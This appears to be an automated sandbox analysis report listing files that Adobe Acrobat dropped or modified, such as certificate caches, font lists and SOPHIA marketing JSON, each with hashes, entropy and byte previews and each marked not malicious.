Preview:	0..k0..S............@.YDc.c...0....H........0O1.0...U....US1)0'..U... Internet Security Research Group1.0...U....ISRG Root X10...150604110438Z..350604110438Z0O1.0...U....US1)0'..U... Internet Security Research Group1.0...U....ISRG Root X10.."0....H.............0..........$s..7.+W(.....8..n<.W.x.u...jn..O(..h.lD...c...k....1.!~.3<.H..y.....!.K...qiJffl.~<p..)"......K...~....G.\|.H#S.8.O.o...IW..t../.8.{.p!.u.0<.....c...O..K~.....w...{J.L.%.p..)..S$........J.?..aQ.....cq...o[...\4ylv.;.by.../&.....................6....7..6u...r......I......A..v........5/(.l....dwnG7..Y^h..r...A)>Y>.&.$...Z.L@.F....:Qn.;.}r...xY.>Qx....../..>{J.Ks......P.\|C.t..t.....0.[q6....00\H..;..}`...).........A.......\|.;F.H..v.v..j.=...8.d..+..(.....B.".'].y...p..N..:..'Qn..d.3CO......B0@0...U...........0...U.......0....0...U......y.Y.{....s.....X..n0...*.H.............U.X....P.....i ')..au\.n...i/..VK..s.Y.!.~.Lq...`.9....!V..P.Y...Y.............b.E.f..\|o..;.....'...}~.."......

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\77EC63BDA74BD0D0E0426DC8F8008506

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	Microsoft Cabinet archive data, Windows 2000/XP setup, 71954 bytes, 1 file, at 0x2c +A "authroot.stl", number 1, 6 datablocks, 0x1 compression
Category:	dropped
Size (bytes):	71954
Entropy (8bit):	7.996617769952133
Encrypted:	true
SSDEEP:	1536:gc257bHnClJ3v5mnAQEBP+bfnW8Ctl8G1G4eu76NWDdB34w18R5cBWcJAm68+Q:gp2ld5jPqW8LgeulxB3fgcEfDQ
MD5:	49AEBF8CBD62D92AC215B2923FB1B9F5
SHA1:	1723BE06719828DDA65AD804298D0431F6AFF976
SHA-256:	B33EFCB95235B98B48508E019AFA4B7655E80CF071DEFABD8B2123FC8B29307F
SHA-512:	BF86116B015FB56709516D686E168E7C9C68365136231CC51D0B6542AE95323A71D2C7ACEC84AAD7DCECC2E410843F6D82A0A6D51B9ACFC721A9C84FDD877B5B
Malicious:	false
Preview:	MSCF............,...................I..................XaK .authroot.stl.[.i..6..CK..<Tk......4.cl!Kg..E..Y.f_..".$mR"$.J.E.KB."..rKv.."{.g....3.W.....c..9.s...=....y6#..x..........D......\(.#.s.!.A.......cd.c........+^.ov...n.....3BL..0.......BPUR&.X..02.q...R...J.....w.....b.vy>....-.&..(..oe."."...J9...0U.6J..\|U..S.....M.F8g...=.......p...........l.?3.J.x.G.Ep..$g..tj......)v]9(:.)W.8.Op.1Q..:.nPd........7.7..M].V F..g.....12..!7(...B.......h.RZ.......l.<.....6..Z^.`p?... .p.Gp.#.'.X..........\|!.8.....".m.49r?.I...g...8.v.....a``.g.R4.i...J8q....NFW,E.6Y....!.o5%.Y.....R..<..S9....r....WO...(.....F..Q=....-..7d..O(....-..+k.........K..........{Q....Z..j._.E...QZ.~.\.^......N.9.k..O.}dD.b1r...[}/....T..E..G..c.\|.c.&>?..^t. ..;..X.d.E.0G....[Q.,......#.Dp..L.o\|#syc.J............}G-.ou6.=52..XWi=...m.....^u......c..fc?&pR7S5....I...j.G........j.j..Tc.El.....B.pQ.,Bp....j...9g.. >..s..m#.Nb.o_u.M.V...........\#...v..Mo\sF..s....Y...

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\2D85F72862B55C4EADD9E66E06947F3D

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	data
Category:	dropped
Size (bytes):	192
Entropy (8bit):	2.7460290111891994
Encrypted:	false
SSDEEP:	3:kkFklJGiPtfllXlE/HT8kChttNNX8RolJuRdxLlGB9lQRYwpDdt:kKTiPeT8PhtTNMa8RdWBwRd
MD5:	D648D43E7982ED9D46A2F7A4F3F17D6A
SHA1:	523742873B26891299392D12D96BE4CB466A5579
SHA-256:	A936A85BF908AB7009D7F46B104260C0753AA15427935466133E26DD90F9C6CA
SHA-512:	2B1288C9B1D82F09A5E1F4440639FEE5F506E170BFC290AB29ECB48A9D4863C458BA18B68EA4EBE2F0EBC87DEB38D99D317555BBEEE1449D3C57465678543F14
Malicious:	false
Preview:	p...... .........#...d..(....................................................... ..........W.....J..............o...h.t.t.p.:././.x.1...i...l.e.n.c.r...o.r.g./...".6.4.c.d.6.6.5.4.-.5.6.f."...

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\77EC63BDA74BD0D0E0426DC8F8008506

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	data
Category:	modified
Size (bytes):	328
Entropy (8bit):	3.0856891564802496
Encrypted:	false
SSDEEP:	6:kKz/IkPL9UswDLL+N+SkQlPlEGYRMY9z+4KlDA3RUebT3:b/IdDnLNkPlE99SNxAhUe/3
MD5:	AE915B5B118979A38FA94D1F03C421F7
SHA1:	B6DA1E1B2F6810E00BAC2A9D88D80F96F4193E4A
SHA-256:	4F34B7ED0277271661CCC9739321BEDD83F33DB02F3BA955AF39F3D97DB96176
SHA-512:	D92DABE33AB9F1D1B28901E47C8C26D12B3B737B3286C715835E3299D8DBCCA54EAF22D47202783CA750BB9F13D09B3CB0673110135C7F5F9EC416D9C9C2B900
Malicious:	false
Preview:	p...... ........b+...d..(....................................................... ........G..@.......&...............h.t.t.p.:././.c.t.l.d.l...w.i.n.d.o.w.s.u.p.d.a.t.e...c.o.m./.m.s.d.o.w.n.l.o.a.d./.u.p.d.a.t.e./.v.3./.s.t.a.t.i.c./.t.r.u.s.t.e.d.r./.e.n./.a.u.t.h.r.o.o.t.s.t.l...c.a.b...".a.7.2.8.2.e.b.4.0.b.1.d.a.1.:.0."...

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeCMapFnt23.lst (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	1233
Entropy (8bit):	5.233980037532449
Encrypted:	false
SSDEEP:	24:kk8id8HxPsMTtrid8OPgx4sMDHFidZxDWksMwEidMKRxCsMWaOtidMLgxT2sMW0l:pkxPhtgNgx4pyZxakazxCIK2gxap
MD5:	8BA9D8BEBA42C23A5DB405994B54903F
SHA1:	FC1B1646EC8A7015F492AA17ADF9712B54858361
SHA-256:	862DE2165B9D44422E84E25FFE267A5E1ADE23F46F04FC6F584C4943F76EB75C
SHA-512:	26AD41BB89AF6198515674F21B4F0F561DC9BDC91D5300C154065C57D49CCA61B4BA60E5F93FD17869BDA1123617F26CDA0EF39935A9C2805F930A3DB1956D5A
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeFnt23.lst.5828

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	1233
Entropy (8bit):	5.233980037532449
Encrypted:	false
SSDEEP:	24:kk8id8HxPsMTtrid8OPgx4sMDHFidZxDWksMwEidMKRxCsMWaOtidMLgxT2sMW0l:pkxPhtgNgx4pyZxakazxCIK2gxap
MD5:	8BA9D8BEBA42C23A5DB405994B54903F
SHA1:	FC1B1646EC8A7015F492AA17ADF9712B54858361
SHA-256:	862DE2165B9D44422E84E25FFE267A5E1ADE23F46F04FC6F584C4943F76EB75C
SHA-512:	26AD41BB89AF6198515674F21B4F0F561DC9BDC91D5300C154065C57D49CCA61B4BA60E5F93FD17869BDA1123617F26CDA0EF39935A9C2805F930A3DB1956D5A
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeSysFnt23.lst (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	1233
Entropy (8bit):	5.233980037532449
Encrypted:	false
SSDEEP:	24:kk8id8HxPsMTtrid8OPgx4sMDHFidZxDWksMwEidMKRxCsMWaOtidMLgxT2sMW0l:pkxPhtgNgx4pyZxakazxCIK2gxap
MD5:	8BA9D8BEBA42C23A5DB405994B54903F
SHA1:	FC1B1646EC8A7015F492AA17ADF9712B54858361
SHA-256:	862DE2165B9D44422E84E25FFE267A5E1ADE23F46F04FC6F584C4943F76EB75C
SHA-512:	26AD41BB89AF6198515674F21B4F0F561DC9BDC91D5300C154065C57D49CCA61B4BA60E5F93FD17869BDA1123617F26CDA0EF39935A9C2805F930A3DB1956D5A
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\Cache\AcroFnt23.lst (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	10880
Entropy (8bit):	5.214360287289079
Encrypted:	false
SSDEEP:	192:SgAYm4DAv6oq6oCf6ocL6oz6o46ok6o16ok6oKls6oVtfZ6ojtou6o2ti16oGwX/:SV548vvqvSvivzv4vkv1vkvKlsvVtfZp
MD5:	B60EE534029885BD6DECA42D1263BDC0
SHA1:	4E801BA6CA503BDAE7E54B7DB65BE641F7C23375
SHA-256:	B5F094EFF25215E6C35C46253BA4BB375BC29D055A3E90E08F66A6FDA1C35856
SHA-512:	52221F919AEA648B57E567947806F71922B604F90AC6C8805E5889AECB131343D905D94703EA2B4CEC9B0C1813DDA6EAE2677403F58D3B340099461BBCD355AE
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\Cache\AdobeFnt23.lst.5828

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	10880
Entropy (8bit):	5.214360287289079
Encrypted:	false
SSDEEP:	192:SgAYm4DAv6oq6oCf6ocL6oz6o46ok6o16ok6oKls6oVtfZ6ojtou6o2ti16oGwX/:SV548vvqvSvivzv4vkv1vkvKlsvVtfZp
MD5:	B60EE534029885BD6DECA42D1263BDC0
SHA1:	4E801BA6CA503BDAE7E54B7DB65BE641F7C23375
SHA-256:	B5F094EFF25215E6C35C46253BA4BB375BC29D055A3E90E08F66A6FDA1C35856
SHA-512:	52221F919AEA648B57E567947806F71922B604F90AC6C8805E5889AECB131343D905D94703EA2B4CEC9B0C1813DDA6EAE2677403F58D3B340099461BBCD355AE
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\ACROBAT_READER_MASTER_SURFACEID

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	295
Entropy (8bit):	5.355063008608815
Encrypted:	false
SSDEEP:	6:YEQXJ2HXRFO932UXjb24kF0YboAvJM3g98kUwPeUkwRe9:YvXKXe32UTbdLGMbLUkee9
MD5:	F11E2A3F7FF472AE2C818966284C3B53
SHA1:	91868E127CAFAB3949DDB57150A7D76B851D5868
SHA-256:	D3E1D0BC544C84E0C40062763A81199ED75896DE2A576FCEB5AC4EA1F2BFD86B
SHA-512:	366AF078B15F546B88E66BF9752E5D84D5082B68110B9536CF653885738CD97DB941C3709F4F90F5595A52D39E20DB153693D3F3C0C30FADABB86FD203E9E7DA
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"5f1d54d4-2b62-40cb-8eb2-f54131b1eca6","sophiaUUID":"6124E582-3DD2-4C2A-B4CB-31313081B829"},"encodingScheme":true,"expirationDTS":1736759101541,"statusCode":200,"surfaceID":"ACROBAT_READER_MASTER_SURFACEID","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_FirstMile_Home_View_Surface

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	294
Entropy (8bit):	5.291533779654391
Encrypted:	false
SSDEEP:	6:YEQXJ2HXRFO932UXjb24kF0YboAvJfBoTfXpnrPeUkwRe9:YvXKXe32UTbdLGWTfXcUkee9
MD5:	B46BB256BA6215E2EED64F6EC86DB711
SHA1:	517D8ACFC5B580FC818332FCAC81538A56BA8D99
SHA-256:	2211252CB32085678EEC182DC7D32543C009427AA0D22C24C821482ED135387E
SHA-512:	40B66CA944AD4F8BCE242B81417F18394D0CCE55BD9FB4E1C202BBDDE13DCC53E2DF523191F506FE7C246B144CD8861E6BC7E63C3E66EF3CA5AD206352148627
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"5f1d54d4-2b62-40cb-8eb2-f54131b1eca6","sophiaUUID":"6124E582-3DD2-4C2A-B4CB-31313081B829"},"encodingScheme":true,"expirationDTS":1736759101541,"statusCode":200,"surfaceID":"DC_FirstMile_Home_View_Surface","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_FirstMile_Right_Sec_Surface

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	294
Entropy (8bit):	5.270082096180396
Encrypted:	false
SSDEEP:	6:YEQXJ2HXRFO932UXjb24kF0YboAvJfBD2G6UpnrPeUkwRe9:YvXKXe32UTbdLGR22cUkee9
MD5:	725A8061988AFD54540327E2873D52F0
SHA1:	8015A54BA43D9ACC9E9C29049AD14ECFA90C899D
SHA-256:	E4F6470CED995EE5C15FBF0D787D1599C56AA95D017BDE3220EE525753F6FFED
SHA-512:	225AB26E3C39CEA186680A4970A903CACA266503130A2FA60CB7EF675C507F47F00154C2203199FCF22B54809B0DD96536383116B9E78F0370C82182C7299CFB
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"5f1d54d4-2b62-40cb-8eb2-f54131b1eca6","sophiaUUID":"6124E582-3DD2-4C2A-B4CB-31313081B829"},"encodingScheme":true,"expirationDTS":1736759101541,"statusCode":200,"surfaceID":"DC_FirstMile_Right_Sec_Surface","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_READER_LAUNCH_CARD

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	285
Entropy (8bit):	5.329050477174655
Encrypted:	false
SSDEEP:	6:YEQXJ2HXRFO932UXjb24kF0YboAvJfPmwrPeUkwRe9:YvXKXe32UTbdLGH56Ukee9
MD5:	9A5689FE8C3C33BCA4399F929B38D1E2
SHA1:	4FCEC0D2F1B9A417AE1B6895206D9D5B4B0FD473
SHA-256:	0B2DBEF8AE469B2C3C7DABEA740A8A3A77A64365E948401E058486FE968129D5
SHA-512:	9DC7D84F90964E78EDB20DAD45B2C21649251922CE69581A6F48ADD24D0EE988834D1257D8BA8843D2116CAFE412BEB044545EFDD5739EF6884116F08EB83F3B
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"5f1d54d4-2b62-40cb-8eb2-f54131b1eca6","sophiaUUID":"6124E582-3DD2-4C2A-B4CB-31313081B829"},"encodingScheme":true,"expirationDTS":1736759101541,"statusCode":200,"surfaceID":"DC_READER_LAUNCH_CARD","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Convert_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1123
Entropy (8bit):	5.686586960311528
Encrypted:	false
SSDEEP:	24:Yv6Xe32UXGpLgE9cQx8LennAvzBvkn0RCmK8czOCCS4:YvpmwGhgy6SAFv5Ah8cv/4
MD5:	8361AE622A95CA728D60DE2E2DE66FA1
SHA1:	F6E474488BC730ACB087F165BDC5E47D255BCE73
SHA-256:	E608B08E31D30BD71F32458EEE5C65F79AFA05BBA5AAE43814350D697662FD7A
SHA-512:	DD627A5EAF0BBA14EC0CA352137249AED917A5F7E0D352DC16AF0A796A41E4DD1401AAA8C8119D9243EA4A6060947134D7BAB93F46FC4E62EFDB8D981730F0A3
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"5f1d54d4-2b62-40cb-8eb2-f54131b1eca6","sophiaUUID":"6124E582-3DD2-4C2A-B4CB-31313081B829"},"encodingScheme":true,"expirationDTS":1736759101541,"statusCode":200,"surfaceID":"DC_Reader_Convert_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{"surfaceId":"DC_Reader_Convert_LHP_Banner"},"containerMap":{"1":{"containerAnalyticsData":{"actionBlockId":"93365_289436ActionBlock_1","campaignId":93365,"containerId":"1","controlGroupId":"","treatmentId":"d5bba1ae-6009-4d23-8886-fd4a474b8ac9","variationId":"289436"},"containerId":1,"containerLabel":"JSON for DC_Reader_Convert_LHP_Banner","content":{"data":"eyJjdGEiOnsidGV4dCI6IkZyZWUgdHJpYWwiLCJjbGljayI6Im9wZW5Ub29sIiwidG9vbF9pZCI6IkNvbnZlcnRQREZSZHJSSFBBcHAifSwidWkiOnsidGl0bGVfc3R5bGluZyI6eyJmb250X3NpemUiOiIxNHB4IiwiZm9udF9zdHlsZSI6IjAifSwiZGVzY3JpcHRpb25fc3R5bGluZyI6eyJmb250X3NpemUiOiIxMnB4IiwiZm9udF9zdHlsZSI6Ii0xIn0sInRpdGxlIjpudWxsLCJkZXNjcmlwdGlvbiI6IkV4cG9ydCBQREZzIHRvIE1pY3Jvc29mdCBXb3JkIGFuZCBFeGNlbC4ifSwidGNh

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Disc_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	289
Entropy (8bit):	5.269284257009037
Encrypted:	false
SSDEEP:	6:YEQXJ2HXRFO932UXjb24kF0YboAvJf8dPeUkwRe9:YvXKXe32UTbdLGU8Ukee9
MD5:	9A4CD5FCD6CFE8B02FF61CAA58A7F9B5
SHA1:	B1468605765B383032232AD3B123126CEAE0E7B4
SHA-256:	F81089C3E4B384C556CBBCB421AC975A04EDBF4CAE9C6D7546B3098108C14DF7
SHA-512:	FBDAA74C4772C5B3E1A8C8A02D56348AD05EB7D75CD9B8E6F8DB7961C6D33F5ACF12398D9336EA446B70A21E9EF83B775FDF8594F1C5F0015D6B6331FA857322
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"5f1d54d4-2b62-40cb-8eb2-f54131b1eca6","sophiaUUID":"6124E582-3DD2-4C2A-B4CB-31313081B829"},"encodingScheme":true,"expirationDTS":1736759101541,"statusCode":200,"surfaceID":"DC_Reader_Disc_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Disc_LHP_Retention

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	292
Entropy (8bit):	5.271943084472376
Encrypted:	false
SSDEEP:	6:YEQXJ2HXRFO932UXjb24kF0YboAvJfQ1rPeUkwRe9:YvXKXe32UTbdLGY16Ukee9
MD5:	9A4C8B96E6794713F2E27CA5A3FE8273
SHA1:	13D4748C275AD81DF09245516D1FBBE975434479
SHA-256:	C22B1CC695B2D73CCD5D6F4FC1EE8B9F3E9E793FD1CDD191804BC19EC4845D52
SHA-512:	B3CCD7FD56A4A197B72F824D66DD2105395B104161416EE6A3332574013F68CA1E2F165E9969FC5E07AEB92641DCB237B686C15F4F119D982FFB07312CFAB941
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"5f1d54d4-2b62-40cb-8eb2-f54131b1eca6","sophiaUUID":"6124E582-3DD2-4C2A-B4CB-31313081B829"},"encodingScheme":true,"expirationDTS":1736759101541,"statusCode":200,"surfaceID":"DC_Reader_Disc_LHP_Retention","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Edit_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	289
Entropy (8bit):	5.281825046843429
Encrypted:	false
SSDEEP:	6:YEQXJ2HXRFO932UXjb24kF0YboAvJfFldPeUkwRe9:YvXKXe32UTbdLGz8Ukee9
MD5:	0885C0DE16238DAAFEE0EEF58394E25E
SHA1:	563A8295EDF4BB06EC3A711928E2D758B2F6EFCE
SHA-256:	6A6E42B1DDAC91CC2B1A878288D0B8826140F7E8264B40BF68F08700A207478C
SHA-512:	06D36DD7955BD635E1526CE4D152DA95B8A3E73872EA23F75EEF9E4793C0906409E50BE9E59922ED6DF8F2EA5FEF01843D5AAA5AFFD326BF565D38B2DF7D3797
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"5f1d54d4-2b62-40cb-8eb2-f54131b1eca6","sophiaUUID":"6124E582-3DD2-4C2A-B4CB-31313081B829"},"encodingScheme":true,"expirationDTS":1736759101541,"statusCode":200,"surfaceID":"DC_Reader_Edit_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Home_LHP_Trial_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	295
Entropy (8bit):	5.296328881365796
Encrypted:	false
SSDEEP:	6:YEQXJ2HXRFO932UXjb24kF0YboAvJfzdPeUkwRe9:YvXKXe32UTbdLGb8Ukee9
MD5:	CD90C982685F8B263B9D6C2F44C23D64
SHA1:	576D69F462E2C8EA1D79E6FD0F3EED082C22E43A
SHA-256:	F8FB46A82E010097FF86A0C00253D7159F1805C5E2A8C32F30B94E5ACBF2A933
SHA-512:	89CE6FEE6F197585ED70FA84389A390E5515933E0035E67E0230514AFED352FD880C851F874229315D5B877C8CFDCDAE860316810E7F6F29408E9B676C7DA443
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"5f1d54d4-2b62-40cb-8eb2-f54131b1eca6","sophiaUUID":"6124E582-3DD2-4C2A-B4CB-31313081B829"},"encodingScheme":true,"expirationDTS":1736759101541,"statusCode":200,"surfaceID":"DC_Reader_Home_LHP_Trial_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_More_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	289
Entropy (8bit):	5.276200576178353
Encrypted:	false
SSDEEP:	6:YEQXJ2HXRFO932UXjb24kF0YboAvJfYdPeUkwRe9:YvXKXe32UTbdLGg8Ukee9
MD5:	C899D0003D3CAE28B4BA3070EB3F7160
SHA1:	4A4860AE680C94FF2A5B2AA169E530B39EEB975E
SHA-256:	C0A9342A6EADD1DDFFFABF66C2106FE321C1F11E08C0EEAE8886B9CB183A1972
SHA-512:	5BCFCEB9484938C9D4B0CCFAEDD7FF43167CED15CB2CE97B39A7BD7B005ACC110E6DFAD6E290DD31AF9C11E9FB217A71EAD86070D81E581859559FDB9DDCB9F6
Malicious:	false
